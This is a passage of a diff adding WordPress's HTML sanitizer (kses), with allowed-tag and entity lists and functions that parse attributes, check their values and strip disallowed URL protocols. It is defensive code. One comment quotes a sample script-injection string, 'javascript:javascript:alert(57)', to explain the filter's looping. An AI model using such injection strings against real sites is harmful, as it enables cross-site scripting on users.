+			'title' => true,
+		),
+		'abbr' => array(
+			'title' => true,
+		),
+		'acronym' => array(
+			'title' => true,
+		),
+		'b' => array(),
+		'blockquote' => array(
+			'cite' => true,
+		),
+		'cite' => array(),
+		'code' => array(),
+		'del' => array(
+			'datetime' => true,
+		),
+		'em' => array(),
+		'i' => array(),
+		'q' => array(
+			'cite' => true,
+		),
+		's' => array(),
+		'strike' => array(),
+		'strong' => array(),
+	);
+
+	$allowedentitynames = array(
+		'nbsp',    'iexcl',  'cent',    'pound',  'curren', 'yen',
+		'brvbar',  'sect',   'uml',     'copy',   'ordf',   'laquo',
+		'not',     'shy',    'reg',     'macr',   'deg',    'plusmn',
+		'acute',   'micro',  'para',    'middot', 'cedil',  'ordm',
+		'raquo',   'iquest', 'Agrave',  'Aacute', 'Acirc',  'Atilde',
+		'Auml',    'Aring',  'AElig',   'Ccedil', 'Egrave', 'Eacute',
+		'Ecirc',   'Euml',   'Igrave',  'Iacute', 'Icirc',  'Iuml',
+		'ETH',     'Ntilde', 'Ograve',  'Oacute', 'Ocirc',  'Otilde',
+		'Ouml',    'times',  'Oslash',  'Ugrave', 'Uacute', 'Ucirc',
+		'Uuml',    'Yacute', 'THORN',   'szlig',  'agrave', 'aacute',
+		'acirc',   'atilde', 'auml',    'aring',  'aelig',  'ccedil',
+		'egrave',  'eacute', 'ecirc',   'euml',   'igrave', 'iacute',
+		'icirc',   'iuml',   'eth',     'ntilde', 'ograve', 'oacute',
+		'ocirc',   'otilde', 'ouml',    'divide', 'oslash', 'ugrave',
+		'uacute',  'ucirc',  'uuml',    'yacute', 'thorn',  'yuml',
+		'quot',    'amp',    'lt',      'gt',     'apos',   'OElig',
+		'oelig',   'Scaron', 'scaron',  'Yuml',   'circ',   'tilde',
+		'ensp',    'emsp',   'thinsp',  'zwnj',   'zwj',    'lrm',
+		'rlm',     'ndash',  'mdash',   'lsquo',  'rsquo',  'sbquo',
+		'ldquo',   'rdquo',  'bdquo',   'dagger', 'Dagger', 'permil',
+		'lsaquo',  'rsaquo', 'euro',    'fnof',   'Alpha',  'Beta',
+		'Gamma',   'Delta',  'Epsilon', 'Zeta',   'Eta',    'Theta',
+		'Iota',    'Kappa',  'Lambda',  'Mu',     'Nu',     'Xi',
+		'Omicron', 'Pi',     'Rho',     'Sigma',  'Tau',    'Upsilon',
+		'Phi',     'Chi',    'Psi',     'Omega',  'alpha',  'beta',
+		'gamma',   'delta',  'epsilon', 'zeta',   'eta',    'theta',
+		'iota',    'kappa',  'lambda',  'mu',     'nu',     'xi',
+		'omicron', 'pi',     'rho',     'sigmaf', 'sigma',  'tau',
+		'upsilon', 'phi',    'chi',     'psi',    'omega',  'thetasym',
+		'upsih',   'piv',    'bull',    'hellip', 'prime',  'Prime',
+		'oline',   'frasl',  'weierp',  'image',  'real',   'trade',
+		'alefsym', 'larr',   'uarr',    'rarr',   'darr',   'harr',
+		'crarr',   'lArr',   'uArr',    'rArr',   'dArr',   'hArr',
+		'forall',  'part',   'exist',   'empty',  'nabla',  'isin',
+		'notin',   'ni',     'prod',    'sum',    'minus',  'lowast',
+		'radic',   'prop',   'infin',   'ang',    'and',    'or',
+		'cap',     'cup',    'int',     'sim',    'cong',   'asymp',
+		'ne',      'equiv',  'le',      'ge',     'sub',    'sup',
+		'nsub',    'sube',   'supe',    'oplus',  'otimes', 'perp',
+		'sdot',    'lceil',  'rceil',   'lfloor', 'rfloor', 'lang',
+		'rang',    'loz',    'spades',  'clubs',  'hearts', 'diams',
+		'sup1',    'sup2',   'sup3',    'frac14', 'frac12', 'frac34',
+		'there4',
+	);
+
+	$allowedposttags = array_map( '_wp_add_global_attributes', $allowedposttags );
+} else {
+	$allowedtags = wp_kses_array_lc( $allowedtags );
+	$allowedposttags = wp_kses_array_lc( $allowedposttags );
+}
+
+/**
+ * Filters content and keeps only allowable HTML elements.
+ *
+ * This function makes sure that only the allowed HTML element names, attribute
+ * names and attribute values plus only sane HTML entities will occur in
+ * $string. You have to remove any slashes from PHP's magic quotes before you
+ * call this function.
+ *
+ * The default allowed protocols are 'http', 'https', 'ftp', 'mailto', 'news',
+ * 'irc', 'gopher', 'nntp', 'feed', 'telnet, 'mms', 'rtsp' and 'svn'. This
+ * covers all common link protocols, except for 'javascript' which should not
+ * be allowed for untrusted users.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string            Content to filter through kses
+ * @param array  $allowed_html      List of allowed HTML elements
+ * @param array  $allowed_protocols Optional. Allowed protocol in links.
+ * @return string Filtered content with only allowed HTML elements
+ */
+function wp_kses( $string, $allowed_html, $allowed_protocols = array() ) {
+	if ( empty( $allowed_protocols ) )
+		$allowed_protocols = wp_allowed_protocols();
+	$string = wp_kses_no_null( $string, array( 'slash_zero' => 'keep' ) );
+	$string = wp_kses_normalize_entities($string);
+	$string = wp_kses_hook($string, $allowed_html, $allowed_protocols); // WP changed the order of these funcs and added args to wp_kses_hook
+	return wp_kses_split($string, $allowed_html, $allowed_protocols);
+}
+
+/**
+ * Filters one attribute only and ensures its value is allowed.
+ *
+ * This function has the advantage of being more secure than esc_attr() and can
+ * escape data in some situations where wp_kses() must strip the whole attribute.
+ *
+ * @since 4.2.3
+ *
+ * @param string $string The 'whole' attribute, including name and value.
+ * @param string $element The element name to which the attribute belongs.
+ * @return string Filtered attribute.
+ */
+function wp_kses_one_attr( $string, $element ) {
+	$uris = wp_kses_uri_attributes();
+	$allowed_html = wp_kses_allowed_html( 'post' );
+	$allowed_protocols = wp_allowed_protocols();
+	$string = wp_kses_no_null( $string, array( 'slash_zero' => 'keep' ) );
+	
+	// Preserve leading and trailing whitespace.
+	$matches = array();
+	preg_match('/^\s*/', $string, $matches);
+	$lead = $matches[0];
+	preg_match('/\s*$/', $string, $matches);
+	$trail = $matches[0];
+	if ( empty( $trail ) ) {
+		$string = substr( $string, strlen( $lead ) );
+	} else {
+		$string = substr( $string, strlen( $lead ), -strlen( $trail ) );
+	}
+	
+	// Parse attribute name and value from input.
+	$split = preg_split( '/\s*=\s*/', $string, 2 );
+	$name = $split[0];
+	if ( count( $split ) == 2 ) {
+		$value = $split[1];
+
+		// Remove quotes surrounding $value.
+		// Also guarantee correct quoting in $string for this one attribute.
+		if ( '' == $value ) {
+			$quote = '';
+		} else {
+			$quote = $value[0];
+		}
+		if ( '"' == $quote || "'" == $quote ) {
+			if ( substr( $value, -1 ) != $quote ) {
+				return '';
+			}
+			$value = substr( $value, 1, -1 );
+		} else {
+			$quote = '"';
+		}
+
+		// Sanitize quotes, angle braces, and entities.
+		$value = esc_attr( $value );
+
+		// Sanitize URI values.
+		if ( in_array( strtolower( $name ), $uris ) ) {
+			$value = wp_kses_bad_protocol( $value, $allowed_protocols );
+		}
+
+		$string = "$name=$quote$value$quote";
+		$vless = 'n';
+	} else {
+		$value = '';
+		$vless = 'y';
+	}
+	
+	// Sanitize attribute by name.
+	wp_kses_attr_check( $name, $value, $string, $vless, $element, $allowed_html );
+
+	// Restore whitespace.
+	return $lead . $string . $trail;
+}
+
+/**
+ * Return a list of allowed tags and attributes for a given context.
+ *
+ * @since 3.5.0
+ * @since 5.0.1 `form` removed as allowable HTML tag.
+ *
+ * @global array $allowedposttags
+ * @global array $allowedtags
+ * @global array $allowedentitynames
+ *
+ * @param string|array $context The context for which to retrieve tags.
+ *                              Allowed values are post, strip, data, entities, or
+ *                              the name of a field filter such as pre_user_description.
+ * @return array List of allowed tags and their allowed attributes.
+ */
+function wp_kses_allowed_html( $context = '' ) {
+	global $allowedposttags, $allowedtags, $allowedentitynames;
+
+	if ( is_array( $context ) ) {
+		/**
+		 * Filters HTML elements allowed for a given context.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param array  $context      Context to judge allowed tags by.
+		 * @param string $context_type Context type (explicit).
+		 */
+		return apply_filters( 'wp_kses_allowed_html', $context, 'explicit' );
+	}
+
+	switch ( $context ) {
+		case 'post':
+			/** This filter is documented in wp-includes/kses.php */
+			$tags = apply_filters( 'wp_kses_allowed_html', $allowedposttags, $context );
+
+			// 5.0.1 removed the `<form>` tag, allow it if a filter is allowing it's sub-elements `<input>` or `<select>`.
+			if ( ! CUSTOM_TAGS && ! isset( $tags['form'] ) && ( isset( $tags['input'] ) || isset( $tags['select'] ) ) ) {
+				$tags = $allowedposttags;
+
+				$tags['form'] = array(
+					'action' => true,
+					'accept' => true,
+					'accept-charset' => true,
+					'enctype' => true,
+					'method' => true,
+					'name' => true,
+					'target' => true,
+				);
+
+				/** This filter is documented in wp-includes/kses.php */
+				$tags = apply_filters( 'wp_kses_allowed_html', $tags, $context );
+			}
+
+			return $tags;
+
+		case 'user_description':
+		case 'pre_user_description':
+			$tags = $allowedtags;
+			$tags['a']['rel'] = true;
+			/** This filter is documented in wp-includes/kses.php */
+			return apply_filters( 'wp_kses_allowed_html', $tags, $context );
+
+		case 'strip':
+			/** This filter is documented in wp-includes/kses.php */
+			return apply_filters( 'wp_kses_allowed_html', array(), $context );
+
+		case 'entities':
+			/** This filter is documented in wp-includes/kses.php */
+			return apply_filters( 'wp_kses_allowed_html', $allowedentitynames, $context);
+
+		case 'data':
+		default:
+			/** This filter is documented in wp-includes/kses.php */
+			return apply_filters( 'wp_kses_allowed_html', $allowedtags, $context );
+	}
+}
+
+/**
+ * You add any kses hooks here.
+ *
+ * There is currently only one kses WordPress hook, {@see 'pre_kses'}, and it is called here.
+ * All parameters are passed to the hooks and expected to receive a string.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string            Content to filter through kses
+ * @param array  $allowed_html      List of allowed HTML elements
+ * @param array  $allowed_protocols Allowed protocol in links
+ * @return string Filtered content through {@see 'pre_kses'} hook.
+ */
+function wp_kses_hook( $string, $allowed_html, $allowed_protocols ) {
+	/**
+	 * Filters content to be run through kses.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $string            Content to run through kses.
+	 * @param array  $allowed_html      Allowed HTML elements.
+	 * @param array  $allowed_protocols Allowed protocol in links.
+	 */
+	return apply_filters( 'pre_kses', $string, $allowed_html, $allowed_protocols );
+}
+
+/**
+ * This function returns kses' version number.
+ *
+ * @since 1.0.0
+ *
+ * @return string KSES Version Number
+ */
+function wp_kses_version() {
+	return '0.2.2';
+}
+
+/**
+ * Searches for HTML tags, no matter how malformed.
+ *
+ * It also matches stray ">" characters.
+ *
+ * @since 1.0.0
+ *
+ * @global array $pass_allowed_html
+ * @global array $pass_allowed_protocols
+ *
+ * @param string $string            Content to filter
+ * @param array  $allowed_html      Allowed HTML elements
+ * @param array  $allowed_protocols Allowed protocols to keep
+ * @return string Content with fixed HTML tags
+ */
+function wp_kses_split( $string, $allowed_html, $allowed_protocols ) {
+	global $pass_allowed_html, $pass_allowed_protocols;
+	$pass_allowed_html = $allowed_html;
+	$pass_allowed_protocols = $allowed_protocols;
+	return preg_replace_callback( '%(<!--.*?(-->|$))|(<[^>]*(>|$)|>)%', '_wp_kses_split_callback', $string );
+}
+
+/**
+ * Helper function listing HTML attributes containing a URL.
+ *
+ * This function returns a list of all HTML attributes that must contain
+ * a URL according to the HTML specification.
+ *
+ * This list includes URI attributes both allowed and disallowed by KSES.
+ *
+ * @link https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes
+ *
+ * @since 5.0.1
+ *
+ * @return array HTML attributes that must include a URL.
+ */
+function wp_kses_uri_attributes() {
+	$uri_attributes = array(
+		'action',
+		'archive',
+		'background',
+		'cite',
+		'classid',
+		'codebase',
+		'data',
+		'formaction',
+		'href',
+		'icon',
+		'longdesc',
+		'manifest',
+		'poster',
+		'profile',
+		'src',
+		'usemap',
+		'xmlns',
+	);
+
+	/**
+	 * Filters the list of attributes that are required to contain a URL.
+	 *
+	 * Use this filter to add any `data-` attributes that are required to be
+	 * validated as a URL.
+	 *
+	 * @since 5.0.1
+	 *
+	 * @param array $uri_attributes HTML attributes requiring validation as a URL.
+	 */
+	$uri_attributes = apply_filters( 'wp_kses_uri_attributes', $uri_attributes );
+
+	return $uri_attributes;
+}
+
+/**
+ * Callback for wp_kses_split.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @global array $pass_allowed_html
+ * @global array $pass_allowed_protocols
+ *
+ * @return string
+ */
+function _wp_kses_split_callback( $match ) {
+	global $pass_allowed_html, $pass_allowed_protocols;
+	return wp_kses_split2( $match[0], $pass_allowed_html, $pass_allowed_protocols );
+}
+
+/**
+ * Callback for wp_kses_split for fixing malformed HTML tags.
+ *
+ * This function does a lot of work. It rejects some very malformed things like
+ * <:::>. It returns an empty string, if the element isn't allowed (look ma, no
+ * strip_tags()!). Otherwise it splits the tag into an element and an attribute
+ * list.
+ *
+ * After the tag is split into an element and an attribute list, it is run
+ * through another filter which will remove illegal attributes and once that is
+ * completed, will be returned.
+ *
+ * @access private
+ * @since 1.0.0
+ *
+ * @param string $string            Content to filter
+ * @param array  $allowed_html      Allowed HTML elements
+ * @param array  $allowed_protocols Allowed protocols to keep
+ * @return string Fixed HTML element
+ */
+function wp_kses_split2($string, $allowed_html, $allowed_protocols) {
+	$string = wp_kses_stripslashes($string);
+
+	if (substr($string, 0, 1) != '<')
+		return '&gt;';
+	// It matched a ">" character
+
+	if ( '<!--' == substr( $string, 0, 4 ) ) {
+		$string = str_replace( array('<!--', '-->'), '', $string );
+		while ( $string != ($newstring = wp_kses($string, $allowed_html, $allowed_protocols)) )
+			$string = $newstring;
+		if ( $string == '' )
+			return '';
+		// prevent multiple dashes in comments
+		$string = preg_replace('/--+/', '-', $string);
+		// prevent three dashes closing a comment
+		$string = preg_replace('/-$/', '', $string);
+		return "<!--{$string}-->";
+	}
+	// Allow HTML comments
+
+	if (!preg_match('%^<\s*(/\s*)?([a-zA-Z0-9-]+)([^>]*)>?$%', $string, $matches))
+		return '';
+	// It's seriously malformed
+
+	$slash = trim($matches[1]);
+	$elem = $matches[2];
+	$attrlist = $matches[3];
+
+	if ( ! is_array( $allowed_html ) )
+		$allowed_html = wp_kses_allowed_html( $allowed_html );
+
+	if ( ! isset($allowed_html[strtolower($elem)]) )
+		return '';
+	// They are using a not allowed HTML element
+
+	if ($slash != '')
+		return "</$elem>";
+	// No attributes are allowed for closing elements
+
+	return wp_kses_attr( $elem, $attrlist, $allowed_html, $allowed_protocols );
+}
+
+/**
+ * Removes all attributes, if none are allowed for this element.
+ *
+ * If some are allowed it calls wp_kses_hair() to split them further, and then
+ * it builds up new HTML code from the data that kses_hair() returns. It also
+ * removes "<" and ">" characters, if there are any left. One more thing it does
+ * is to check if the tag has a closing XHTML slash, and if it does, it puts one
+ * in the returned code as well.
+ *
+ * @since 1.0.0
+ *
+ * @param string $element           HTML element/tag
+ * @param string $attr              HTML attributes from HTML element to closing HTML element tag
+ * @param array  $allowed_html      Allowed HTML elements
+ * @param array  $allowed_protocols Allowed protocols to keep
+ * @return string Sanitized HTML element
+ */
+function wp_kses_attr($element, $attr, $allowed_html, $allowed_protocols) {
+	if ( ! is_array( $allowed_html ) )
+		$allowed_html = wp_kses_allowed_html( $allowed_html );
+
+	// Is there a closing XHTML slash at the end of the attributes?
+	$xhtml_slash = '';
+	if (preg_match('%\s*/\s*$%', $attr))
+		$xhtml_slash = ' /';
+
+	// Are any attributes allowed at all for this element?
+	$element_low = strtolower( $element );
+	if ( empty( $allowed_html[ $element_low ] ) || true === $allowed_html[ $element_low ] ) {
+		return "<$element$xhtml_slash>";
+	}
+
+	// Split it
+	$attrarr = wp_kses_hair($attr, $allowed_protocols);
+
+	// Go through $attrarr, and save the allowed attributes for this element
+	// in $attr2
+	$attr2 = '';
+	foreach ( $attrarr as $arreach ) {
+		if ( wp_kses_attr_check( $arreach['name'], $arreach['value'], $arreach['whole'], $arreach['vless'], $element, $allowed_html ) ) {
+			$attr2 .= ' '.$arreach['whole'];
+		}
+	}
+
+	// Remove any "<" or ">" characters
+	$attr2 = preg_replace('/[<>]/', '', $attr2);
+
+	return "<$element$attr2$xhtml_slash>";
+}
+
+/**
+ * Determine whether an attribute is allowed.
+ *
+ * @since 4.2.3
+ * @since 5.0.0 Add support for `data-*` wildcard attributes.
+ *
+ * @param string $name The attribute name. Returns empty string when not allowed.
+ * @param string $value The attribute value. Returns a filtered value.
+ * @param string $whole The name=value input. Returns filtered input.
+ * @param string $vless 'y' when attribute like "enabled", otherwise 'n'.
+ * @param string $element The name of the element to which this attribute belongs.
+ * @param array $allowed_html The full list of allowed elements and attributes.
+ * @return bool Is the attribute allowed?
+ */
+function wp_kses_attr_check( &$name, &$value, &$whole, $vless, $element, $allowed_html ) {
+	$allowed_attr = $allowed_html[ strtolower( $element ) ];
+
+	$name_low = strtolower( $name );
+
+	if ( ! isset( $allowed_attr[$name_low] ) || '' == $allowed_attr[$name_low] ) {
+		/*
+		 * Allow `data-*` attributes.
+		 *
+		 * When specifying `$allowed_html`, the attribute name should be set as
+		 * `data-*` (not to be mixed with the HTML 4.0 `data` attribute, see
+		 * https://www.w3.org/TR/html40/struct/objects.html#adef-data).
+		 *
+		 * Note: the attribute name should only contain `A-Za-z0-9_-` chars,
+		 * double hyphens `--` are not accepted by WordPress.
+		 */
+		if ( strpos( $name_low, 'data-' ) === 0 && ! empty( $allowed_attr['data-*'] ) && preg_match( '/^data(?:-[a-z0-9_]+)+$/', $name_low, $match ) ) {
+			/*
+			 * Add the whole attribute name to the allowed attributes and set any restrictions
+			 * for the `data-*` attribute values for the current element.
+			 */
+			$allowed_attr[ $match[0] ] = $allowed_attr['data-*'];
+		} else {
+			$name = $value = $whole = '';
+			return false;
+		}
+	}
+
+	if ( 'style' == $name_low ) {
+		$new_value = safecss_filter_attr( $value );
+
+		if ( empty( $new_value ) ) {
+			$name = $value = $whole = '';
+			return false;
+		}
+
+		$whole = str_replace( $value, $new_value, $whole );
+		$value = $new_value;
+	}
+
+	if ( is_array( $allowed_attr[ $name_low ] ) ) {
+		// there are some checks
+		foreach ( $allowed_attr[$name_low] as $currkey => $currval ) {
+			if ( ! wp_kses_check_attr_val( $value, $vless, $currkey, $currval ) ) {
+				$name = $value = $whole = '';
+				return false;
+			}
+		}
+	}
+
+	return true;
+}
+
+/**
+ * Builds an attribute list from string containing attributes.
+ *
+ * This function does a lot of work. It parses an attribute list into an array
+ * with attribute data, and tries to do the right thing even if it gets weird
+ * input. It will add quotes around attribute values that don't have any quotes
+ * or apostrophes around them, to make it easier to produce HTML code that will
+ * conform to W3C's HTML specification. It will also remove bad URL protocols
+ * from attribute values. It also reduces duplicate attributes by using the
+ * attribute defined first (foo='bar' foo='baz' will result in foo='bar').
+ *
+ * @since 1.0.0
+ *
+ * @param string $attr              Attribute list from HTML element to closing HTML element tag
+ * @param array  $allowed_protocols Allowed protocols to keep
+ * @return array List of attributes after parsing
+ */
+function wp_kses_hair($attr, $allowed_protocols) {
+	$attrarr = array();
+	$mode = 0;
+	$attrname = '';
+	$uris = wp_kses_uri_attributes();
+
+	// Loop through the whole attribute list
+
+	while (strlen($attr) != 0) {
+		$working = 0; // Was the last operation successful?
+
+		switch ($mode) {
+			case 0 : // attribute name, href for instance
+
+				if ( preg_match('/^([-a-zA-Z:]+)/', $attr, $match ) ) {
+					$attrname = $match[1];
+					$working = $mode = 1;
+					$attr = preg_replace( '/^[-a-zA-Z:]+/', '', $attr );
+				}
+
+				break;
+
+			case 1 : // equals sign or valueless ("selected")
+
+				if (preg_match('/^\s*=\s*/', $attr)) // equals sign
+					{
+					$working = 1;
+					$mode = 2;
+					$attr = preg_replace('/^\s*=\s*/', '', $attr);
+					break;
+				}
+
+				if (preg_match('/^\s+/', $attr)) // valueless
+					{
+					$working = 1;
+					$mode = 0;
+					if(false === array_key_exists($attrname, $attrarr)) {
+						$attrarr[$attrname] = array ('name' => $attrname, 'value' => '', 'whole' => $attrname, 'vless' => 'y');
+					}
+					$attr = preg_replace('/^\s+/', '', $attr);
+				}
+
+				break;
+
+			case 2 : // attribute value, a URL after href= for instance
+
+				if (preg_match('%^"([^"]*)"(\s+|/?$)%', $attr, $match))
+					// "value"
+					{
+					$thisval = $match[1];
+					if ( in_array(strtolower($attrname), $uris) )
+						$thisval = wp_kses_bad_protocol($thisval, $allowed_protocols);
+
+					if(false === array_key_exists($attrname, $attrarr)) {
+						$attrarr[$attrname] = array ('name' => $attrname, 'value' => $thisval, 'whole' => "$attrname=\"$thisval\"", 'vless' => 'n');
+					}
+					$working = 1;
+					$mode = 0;
+					$attr = preg_replace('/^"[^"]*"(\s+|$)/', '', $attr);
+					break;
+				}
+
+				if (preg_match("%^'([^']*)'(\s+|/?$)%", $attr, $match))
+					// 'value'
+					{
+					$thisval = $match[1];
+					if ( in_array(strtolower($attrname), $uris) )
+						$thisval = wp_kses_bad_protocol($thisval, $allowed_protocols);
+
+					if(false === array_key_exists($attrname, $attrarr)) {
+						$attrarr[$attrname] = array ('name' => $attrname, 'value' => $thisval, 'whole' => "$attrname='$thisval'", 'vless' => 'n');
+					}
+					$working = 1;
+					$mode = 0;
+					$attr = preg_replace("/^'[^']*'(\s+|$)/", '', $attr);
+					break;
+				}
+
+				if (preg_match("%^([^\s\"']+)(\s+|/?$)%", $attr, $match))
+					// value
+					{
+					$thisval = $match[1];
+					if ( in_array(strtolower($attrname), $uris) )
+						$thisval = wp_kses_bad_protocol($thisval, $allowed_protocols);
+
+					if(false === array_key_exists($attrname, $attrarr)) {
+						$attrarr[$attrname] = array ('name' => $attrname, 'value' => $thisval, 'whole' => "$attrname=\"$thisval\"", 'vless' => 'n');
+					}
+					// We add quotes to conform to W3C's HTML spec.
+					$working = 1;
+					$mode = 0;
+					$attr = preg_replace("%^[^\s\"']+(\s+|$)%", '', $attr);
+				}
+
+				break;
+		} // switch
+
+		if ($working == 0) // not well formed, remove and try again
+		{
+			$attr = wp_kses_html_error($attr);
+			$mode = 0;
+		}
+	} // while
+
+	if ($mode == 1 && false === array_key_exists($attrname, $attrarr))
+		// special case, for when the attribute list ends with a valueless
+		// attribute like "selected"
+		$attrarr[$attrname] = array ('name' => $attrname, 'value' => '', 'whole' => $attrname, 'vless' => 'y');
+
+	return $attrarr;
+}
+
+/**
+ * Finds all attributes of an HTML element.
+ *
+ * Does not modify input.  May return "evil" output.
+ *
+ * Based on wp_kses_split2() and wp_kses_attr()
+ *
+ * @since 4.2.3
+ *
+ * @param string $element HTML element/tag
+ * @return array|bool List of attributes found in $element. Returns false on failure.
+ */
+function wp_kses_attr_parse( $element ) {
+	$valid = preg_match('%^(<\s*)(/\s*)?([a-zA-Z0-9]+\s*)([^>]*)(>?)$%', $element, $matches);
+	if ( 1 !== $valid ) {
+		return false;
+	}
+
+	$begin =  $matches[1];
+	$slash =  $matches[2];
+	$elname = $matches[3];
+	$attr =   $matches[4];
+	$end =    $matches[5];
+
+	if ( '' !== $slash ) {
+		// Closing elements do not get parsed.
+		return false;
+	}
+
+	// Is there a closing XHTML slash at the end of the attributes?
+	if ( 1 === preg_match( '%\s*/\s*$%', $attr, $matches ) ) {
+		$xhtml_slash = $matches[0];
+		$attr = substr( $attr, 0, -strlen( $xhtml_slash ) );
+	} else {
+		$xhtml_slash = '';
+	}
+	
+	// Split it
+	$attrarr = wp_kses_hair_parse( $attr );
+	if ( false === $attrarr ) {
+		return false;
+	}
+
+	// Make sure all input is returned by adding front and back matter.
+	array_unshift( $attrarr, $begin . $slash . $elname );
+	array_push( $attrarr, $xhtml_slash . $end );
+	
+	return $attrarr;
+}
+
+/**
+ * Builds an attribute list from string containing attributes.
+ *
+ * Does not modify input.  May return "evil" output.
+ * In case of unexpected input, returns false instead of stripping things.
+ *
+ * Based on wp_kses_hair() but does not return a multi-dimensional array.
+ *
+ * @since 4.2.3
+ *
+ * @param string $attr Attribute list from HTML element to closing HTML element tag
+ * @return array|bool List of attributes found in $attr. Returns false on failure.
+ */
+function wp_kses_hair_parse( $attr ) {
+	if ( '' === $attr ) {
+		return array();
+	}
+
+	$regex =
+	  '(?:'
+	.     '[-a-zA-Z:]+'   // Attribute name.
+	. '|'
+	.     '\[\[?[^\[\]]+\]\]?' // Shortcode in the name position implies unfiltered_html.
+	. ')'
+	. '(?:'               // Attribute value.
+	.     '\s*=\s*'       // All values begin with '='
+	.     '(?:'
+	.         '"[^"]*"'   // Double-quoted
+	.     '|'
+	.         "'[^']*'"   // Single-quoted
+	.     '|'
+	.         '[^\s"\']+' // Non-quoted
+	.         '(?:\s|$)'  // Must have a space
+	.     ')'
+	. '|'
+	.     '(?:\s|$)'      // If attribute has no value, space is required.
+	. ')'
+	. '\s*';              // Trailing space is optional except as mentioned above.
+
+	// Although it is possible to reduce this procedure to a single regexp,
+	// we must run that regexp twice to get exactly the expected result.
+
+	$validation = "%^($regex)+$%";
+	$extraction = "%$regex%";
+
+	if ( 1 === preg_match( $validation, $attr ) ) {
+		preg_match_all( $extraction, $attr, $attrarr );
+		return $attrarr[0];
+	} else {
+		return false;
+	}
+}
+
+/**
+ * Performs different checks for attribute values.
+ *
+ * The currently implemented checks are "maxlen", "minlen", "maxval", "minval"
+ * and "valueless".
+ *
+ * @since 1.0.0
+ *
+ * @param string $value      Attribute value
+ * @param string $vless      Whether the value is valueless. Use 'y' or 'n'
+ * @param string $checkname  What $checkvalue is checking for.
+ * @param mixed  $checkvalue What constraint the value should pass
+ * @return bool Whether check passes
+ */
+function wp_kses_check_attr_val($value, $vless, $checkname, $checkvalue) {
+	$ok = true;
+
+	switch (strtolower($checkname)) {
+		case 'maxlen' :
+			// The maxlen check makes sure that the attribute value has a length not
+			// greater than the given value. This can be used to avoid Buffer Overflows
+			// in WWW clients and various Internet servers.
+
+			if (strlen($value) > $checkvalue)
+				$ok = false;
+			break;
+
+		case 'minlen' :
+			// The minlen check makes sure that the attribute value has a length not
+			// smaller than the given value.
+
+			if (strlen($value) < $checkvalue)
+				$ok = false;
+			break;
+
+		case 'maxval' :
+			// The maxval check does two things: it checks that the attribute value is
+			// an integer from 0 and up, without an excessive amount of zeroes or
+			// whitespace (to avoid Buffer Overflows). It also checks that the attribute
+			// value is not greater than the given value.
+			// This check can be used to avoid Denial of Service attacks.
+
+			if (!preg_match('/^\s{0,6}[0-9]{1,6}\s{0,6}$/', $value))
+				$ok = false;
+			if ($value > $checkvalue)
+				$ok = false;
+			break;
+
+		case 'minval' :
+			// The minval check makes sure that the attribute value is a positive integer,
+			// and that it is not smaller than the given value.
+
+			if (!preg_match('/^\s{0,6}[0-9]{1,6}\s{0,6}$/', $value))
+				$ok = false;
+			if ($value < $checkvalue)
+				$ok = false;
+			break;
+
+		case 'valueless' :
+			// The valueless check makes sure if the attribute has a value
+			// (like <a href="blah">) or not (<option selected>). If the given value
+			// is a "y" or a "Y", the attribute must not have a value.
+			// If the given value is an "n" or an "N", the attribute must have one.
+
+			if (strtolower($checkvalue) != $vless)
+				$ok = false;
+			break;
+	} // switch
+
+	return $ok;
+}
+
+/**
+ * Sanitize string from bad protocols.
+ *
+ * This function removes all non-allowed protocols from the beginning of
+ * $string. It ignores whitespace and the case of the letters, and it does
+ * understand HTML entities. It does its work in a while loop, so it won't be
+ * fooled by a string like "javascript:javascript:alert(57)".
+ *
+ * @since 1.0.0
+ *
+ * @param string $string            Content to filter bad protocols from
+ * @param array  $allowed_protocols Allowed protocols to keep
+ * @return string Filtered content
+ */
+function wp_kses_bad_protocol($string, $allowed_protocols) {
+	$string = wp_kses_no_null($string);
+	$iterations = 0;
+
+	do {
+		$original_string = $string;
+		$string = wp_kses_bad_protocol_once($string, $allowed_protocols);
+	} while ( $original_string != $string && ++$iterations < 6 );
+
+	if ( $original_string != $string )
+		return '';
+
+	return $string;
+}
+
+/**
+ * Removes any invalid control characters in $string.
+ *
+ * Also removes any instance of the '\0' string.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string
+ * @param array $options Set 'slash_zero' => 'keep' when '\0' is allowed. Default is 'remove'.
+ * @return string
+ */
+function wp_kses_no_null( $string, $options = null ) {
+	if ( ! isset( $options['slash_zero'] ) ) {
+		$options = array( 'slash_zero' => 'remove' );
+	}
+
+	$string = preg_replace( '/[\x00-\x08\x0B\x0C\x0E-\x1F]/', '', $string );
+	if ( 'remove' == $options['slash_zero'] ) {
+		$string = preg_replace( '/\\\\+0+/', '', $string );
+	}
+
+	return $string;
+}
+
+/**
+ * Strips slashes from in front of quotes.
+ *
+ * This function changes the character sequence \" to just ". It leaves all
+ * other slashes alone. It's really weird, but the quoting from
+ * preg_replace(//e) seems to require this.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string String to strip slashes
+ * @return string Fixed string with quoted slashes
+ */
+function wp_kses_stripslashes($string) {
+	return preg_replace('%\\\\"%', '"', $string);
+}
+
+/**
+ * Goes through an array and changes the keys to all lower case.
+ *
+ * @since 1.0.0
+ *
+ * @param array $inarray Unfiltered array
+ * @return array Fixed array with all lowercase keys
+ */
+function wp_kses_array_lc($inarray) {
+	$outarray = array ();
+
+	foreach ( (array) $inarray as $inkey => $inval) {
+		$outkey = strtolower($inkey);
+		$outarray[$outkey] = array ();
+
+		foreach ( (array) $inval as $inkey2 => $inval2) {
+			$outkey2 = strtolower($inkey2);
+			$outarray[$outkey][$outkey2] = $inval2;
+		} // foreach $inval
+	} // foreach $inarray
+
+	return $outarray;
+}
+
+/**
+ * Handles parsing errors in wp_kses_hair().
+ *
+ * The general plan is to remove everything to and including some whitespace,
+ * but it deals with quotes and apostrophes as well.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string
+ * @return string
+ */
+function wp_kses_html_error($string) {
+	return preg_replace('/^("[^"]*("|$)|\'[^\']*(\'|$)|\S)*\s*/', '', $string);
+}
+
+/**
+ * Sanitizes content from bad protocols and other characters.
+ *
+ * This function searches for URL protocols at the beginning of $string, while
+ * handling whitespace and HTML entities.
+ *
+ * @since 1.0.0
+ *
+ * @param string $string            Content to check for bad protocols
